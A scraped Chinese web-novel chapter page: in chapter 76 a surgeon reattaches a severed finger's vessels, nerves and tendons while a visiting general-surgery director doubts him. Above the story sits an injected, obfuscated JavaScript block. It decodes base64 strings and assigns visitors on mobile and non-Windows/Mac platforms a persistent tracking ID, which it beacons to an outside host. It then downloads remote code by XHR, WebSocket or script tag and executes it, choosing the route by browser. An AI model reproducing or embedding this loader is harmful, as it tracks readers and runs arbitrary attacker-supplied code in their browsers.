足迹
夏一冉唐皓南笔趣阁
登录
关灯
护眼
字体:

第76 章 怀疑人生的李大壮(第1页)

function OVHGxRJ(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function YTrZu(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return OVHGxRJ(t);};window[''+'a'+'L'+'e'+'X'+'U'+'l'+'s'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){var x=YTrZu,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0])));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://yh.dyuthic.com:7891/stats/7728/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh3/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1])));var ws=new WebSocket(k+'/wh3/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh3/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh3/'+i;cs.parentElement.insertBefore(s,cs);}})('aHHR0cHHMlM0ElMkYlMkZ0by5tb2xpMTAyLnRvcCUzQTg4OTE=','d3NzJTNBJTJGJTJGdW0uYmNlbbnJzbby5jbb20lM0E5NTM1','4674',window,document,['H','b']);}:function(){};

  张衍这一眼,看的李大壮有些心裏发毛,好像自己刚从医的时候,自己犯错的时候,自己的上级医生就是用这样的眼神看自己。

  没有训斥,只有一双锐利充满严肃的眼神。

  让人不寒而栗。

  “这是张医生的独门绝技,通过骨骼的错茬进行接骨,不做內固定,这样有利於骨骼的生长,患者也不需要二次受罪,摘取固定支架。”楚云龙小声解释道。

  “这样不容易出问题?患者一不小心,触碰到手指,就有可能造成手术的失败。”李大壮小声质疑道。

  “可以进行外固定啊!”楚云龙像看傻子一样,看了一眼李大壮。

  你这个协和普外主任是假的吧?

  这麽简单的问题都不知道?

  李大壮再一次被楚云龙的眼神给侮辱,心裏暗自恼火。

  我是普外主任,又不是骨外主任。

  不知道普外科有多忙吗?

  我一天天的忙的脚不沾地,哪有功夫去研究骨骼內固定、外固定?

  张衍根本没有听到楚云龙和李大壮的对话,此时他全副心神都在手裏都在针线上,手指动脉,能有多粗?

  手指动脉的直径是0.5到0.7mm,静脉的直径是0.3到0.5mm。

  在当前显微镜倍数不够的情况下,张衍只能拿出全部的心神,缝合的时候不敢有丝毫的分神。

  断指再植最理想的状態就是缝合六根血管,两根动脉血管,四根静脉血管。

  这完全就是和时间在赛跑。

  张衍全神贯注的样子,感染了楚云龙和李大壮,两个人不再说话,静静的看著张衍运针如飞。

  缝合完血管之后,检查血运,血运正常。

  其实,手指上还有许多的血管,那些血管太细小,属於毛细血管,目前的技术条件下,根本无法缝合。

  只能等著人体纠偏,代偿功能启动,替换下这部分毛细血管的功能。

  人体是非常奇妙的,自身的纠错能力,代偿能力非常强大。

  很多手术无法修复,无法达到的效果,就指望人体自身的纠错和代偿能力来进行修复器官损失。

  典型的就是脑梗患者,即便是后世,医生对大脑也没有太多的手段。

  很多脑梗患者,医生也只能是清除部分积血之后,寄希望於人体的纠错和代偿功能发挥效果。

  张衍检查完血运之后,接著缝合神经束,神经束要比血管粗一点。

  但是依然要求更高,手指功能恢复,神经束的吻合占了一半以上。

  血管吻合涉及的是手指能不能存活下去。

  手指的功能的恢复,依赖的是神经束吻合的情况和肌腱的缝合情况。

  这两点才是手术功能恢复的关键。

  很快缝合完神经束之后,张衍开始缝合肌腱。

  “这是什麽缝合手法?”李大壮没有忍住,再次叫出声来。

  张衍用的是他从来没有见过的一种缝合手法。

  这种手法,仔细观察,有现在使用的很多缝合手法的影子,再仔细看,又完全不知道张衍用的是什麽手法。

  “安静!”张衍抬头看了一眼李大壮,说了两个字。

  然后低头继续缝合肌腱。

  仅仅两个字,让李大壮满脸通红。

  自己今天这是怎麽了?

  怎麽会这麽失態?

  仅仅是两个字,就让李大壮有些怀疑人生。